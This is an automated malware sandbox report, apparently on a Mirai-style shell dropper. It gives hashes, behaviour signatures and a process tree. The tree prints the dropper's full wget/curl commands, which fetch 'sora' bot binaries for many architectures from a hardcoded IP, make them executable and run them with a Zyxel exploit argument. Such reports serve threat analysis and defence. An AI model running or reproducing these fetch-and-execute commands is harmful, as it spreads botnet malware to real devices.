Analysis

  • max time kernel
    25s
  • max time network
    23s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    18/10/2024, 03:03

General

  • Target

    ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh

  • Size

    2KB

  • MD5

    eb7a4e59f642cd5475876f6ef1a09d3a

  • SHA1

    9232db0ebfe888067cc85a32b786a7ce41be0a6f

  • SHA256

    ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670

  • SHA512

    9393df90cc409e4f6ee6a2fc7df960123823ca22c25f01ae4e2ab094f74f71f0565925aa0384a5e84f4b15792d89317af71b1f223fa7fdd340b4404f9a25c6b8

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Reads runtime system information 14 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh
    /tmp/ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh
    1⤵
    • Writes file to tmp directory
    PID:735
    • /usr/bin/wget
      wget http://93.123.85.141/bins/sora.x86
      2⤵
        PID:739
      • /usr/bin/curl
        curl -O http://93.123.85.141/bins/sora.x86
        2⤵
        • Reads runtime system information
        PID:748
      • /bin/cat
        cat sora.x86
        2⤵
          PID:765
        • /bin/chmod
          chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
          2⤵
          • File and Directory Permissions Modification
          PID:766
        • /tmp/robben
          ./robben zyxel.exploit
          2⤵
          • Executes dropped EXE
          PID:767
        • /usr/bin/wget
          wget http://93.123.85.141/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:769
        • /usr/bin/curl
          curl -O http://93.123.85.141/bins/sora.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:770
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:771
        • /bin/chmod
          chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
          2⤵
          • File and Directory Permissions Modification
          PID:772
        • /tmp/robben
          ./robben zyxel.exploit
          2⤵
          • Executes dropped EXE
          PID:773
        • /usr/bin/wget
          wget http://93.123.85.141/bins/sora.x86_64
          2⤵
            PID:775
          • /usr/bin/curl
            curl -O http://93.123.85.141/bins/sora.x86_64
            2⤵
            • Reads runtime system information
            PID:776
          • /bin/cat
            cat sora.x86_64
            2⤵
              PID:777
            • /bin/chmod
              chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
              2⤵
              • File and Directory Permissions Modification
              PID:778
            • /tmp/robben
              ./robben zyxel.exploit
              2⤵
              • Executes dropped EXE
              PID:779
            • /usr/bin/wget
              wget http://93.123.85.141/bins/sora.i468
              2⤵
                PID:781
              • /usr/bin/curl
                curl -O http://93.123.85.141/bins/sora.i468
                2⤵
                • Reads runtime system information
                PID:782
              • /bin/cat
                cat sora.i468
                2⤵
                  PID:783
                • /bin/chmod
                  chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
                  2⤵
                  • File and Directory Permissions Modification
                  PID:784
                • /tmp/robben
                  ./robben zyxel.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:786
                • /usr/bin/wget
                  wget http://93.123.85.141/bins/sora.i686
                  2⤵
                    PID:789
                  • /usr/bin/curl
                    curl -O http://93.123.85.141/bins/sora.i686
                    2⤵
                    • Reads runtime system information
                    PID:792
                  • /bin/cat
                    cat sora.i686
                    2⤵
                      PID:799
                    • /bin/chmod
                      chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
                      2⤵
                      • File and Directory Permissions Modification
                      PID:801
                    • /tmp/robben
                      ./robben zyxel.exploit
                      2⤵
                      • Executes dropped EXE
                      PID:803
                    • /usr/bin/wget
                      wget http://93.123.85.141/bins/sora.mpsl
                      2⤵
                        PID:805
                      • /usr/bin/curl
                        curl -O http://93.123.85.141/bins/sora.mpsl
                        2⤵
                        • Reads runtime system information
                        PID:808
                      • /bin/cat
                        cat sora.mpsl
                        2⤵
                          PID:815
                        • /bin/chmod
                          chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
                          2⤵
                          • File and Directory Permissions Modification
                          PID:818
                        • /tmp/robben
                          ./robben zyxel.exploit
                          2⤵
                          • Executes dropped EXE
                          PID:819
                        • /usr/bin/wget
                          wget http://93.123.85.141/bins/sora.arm4
                          2⤵
                            PID:821
                          • /usr/bin/curl
                            curl -O http://93.123.85.141/bins/sora.arm4
                            2⤵
                            • Reads runtime system information
                            PID:825
                          • /bin/cat
                            cat sora.arm4
                            2⤵
                              PID:829
                            • /bin/chmod
                              chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
                              2⤵
                              • File and Directory Permissions Modification
                              PID:832
                            • /tmp/robben
                              ./robben zyxel.exploit
                              2⤵
                              • Executes dropped EXE
                              PID:833
                            • /usr/bin/wget
                              wget http://93.123.85.141/bins/sora.arm5
                              2⤵
                                PID:836
                              • /usr/bin/curl
                                curl -O http://93.123.85.141/bins/sora.arm5
                                2⤵
                                • Reads runtime system information
                                PID:839
                              • /bin/cat
                                cat sora.arm5
                                2⤵
                                  PID:849
                                • /bin/chmod
                                  chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:851
                                • /tmp/robben
                                  ./robben zyxel.exploit
                                  2⤵
                                  • Executes dropped EXE
                                  PID:852
                                • /usr/bin/wget
                                  wget http://93.123.85.141/bins/sora.arm6
                                  2⤵
                                    PID:854
                                  • /usr/bin/curl
                                    curl -O http://93.123.85.141/bins/sora.arm6
                                    2⤵
                                    • Reads runtime system information
                                    PID:856
                                  • /bin/cat
                                    cat sora.arm6
                                    2⤵
                                      PID:858
                                    • /bin/chmod
                                      chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:859
                                    • /tmp/robben
                                      ./robben zyxel.exploit
                                      2⤵
                                      • Executes dropped EXE
                                      PID:860
                                    • /usr/bin/wget
                                      wget http://93.123.85.141/bins/sora.arm7
                                      2⤵
                                        PID:862
                                      • /usr/bin/curl
                                        curl -O http://93.123.85.141/bins/sora.arm7
                                        2⤵
                                        • Reads runtime system information
                                        PID:863
                                      • /bin/cat
                                        cat sora.arm7
                                        2⤵
                                          PID:864
                                        • /bin/chmod
                                          chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:865
                                        • /tmp/robben
                                          ./robben zyxel.exploit
                                          2⤵
                                          • Executes dropped EXE
                                          PID:866
                                        • /usr/bin/wget
                                          wget http://93.123.85.141/bins/sora.ppc
                                          2⤵
                                            PID:868
                                          • /usr/bin/curl
                                            curl -O http://93.123.85.141/bins/sora.ppc
                                            2⤵
                                            • Reads runtime system information
                                            PID:869
                                          • /bin/cat
                                            cat sora.ppc
                                            2⤵
                                              PID:870
                                            • /bin/chmod
                                              chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:871
                                            • /tmp/robben
                                              ./robben zyxel.exploit
                                              2⤵
                                              • Executes dropped EXE
                                              PID:872
                                            • /usr/bin/wget
                                              wget http://93.123.85.141/bins/sora.ppc440fp
                                              2⤵
                                                PID:874
                                              • /usr/bin/curl
                                                curl -O http://93.123.85.141/bins/sora.ppc440fp
                                                2⤵
                                                • Reads runtime system information
                                                PID:875
                                              • /bin/cat
                                                cat sora.ppc440fp
                                                2⤵
                                                  PID:876
                                                • /bin/chmod
                                                  chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:877
                                                • /tmp/robben
                                                  ./robben zyxel.exploit
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:878
                                                • /usr/bin/wget
                                                  wget http://93.123.85.141/bins/sora.m68k
                                                  2⤵
                                                    PID:880
                                                  • /usr/bin/curl
                                                    curl -O http://93.123.85.141/bins/sora.m68k
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:883
                                                  • /bin/cat
                                                    cat sora.m68k
                                                    2⤵
                                                      PID:890
                                                    • /bin/chmod
                                                      chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:892
                                                    • /tmp/robben
                                                      ./robben zyxel.exploit
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:894
                                                    • /usr/bin/wget
                                                      wget http://93.123.85.141/bins/sora.sh4
                                                      2⤵
                                                        PID:896
                                                      • /usr/bin/curl
                                                        curl -O http://93.123.85.141/bins/sora.sh4
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:899
                                                      • /bin/cat
                                                        cat sora.sh4
                                                        2⤵
                                                          PID:905
                                                        • /bin/chmod
                                                          chmod +x ee5dc088769cd015612163e69ba1303ea2b9e39c8f1f942d2776a397b6b09670.sh robben systemd-private-cd63d15926f547aaa950d31ec9a8056f-systemd-timedated.service-JtxiuP
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:907
                                                        • /tmp/robben
                                                          ./robben zyxel.exploit
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:908

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

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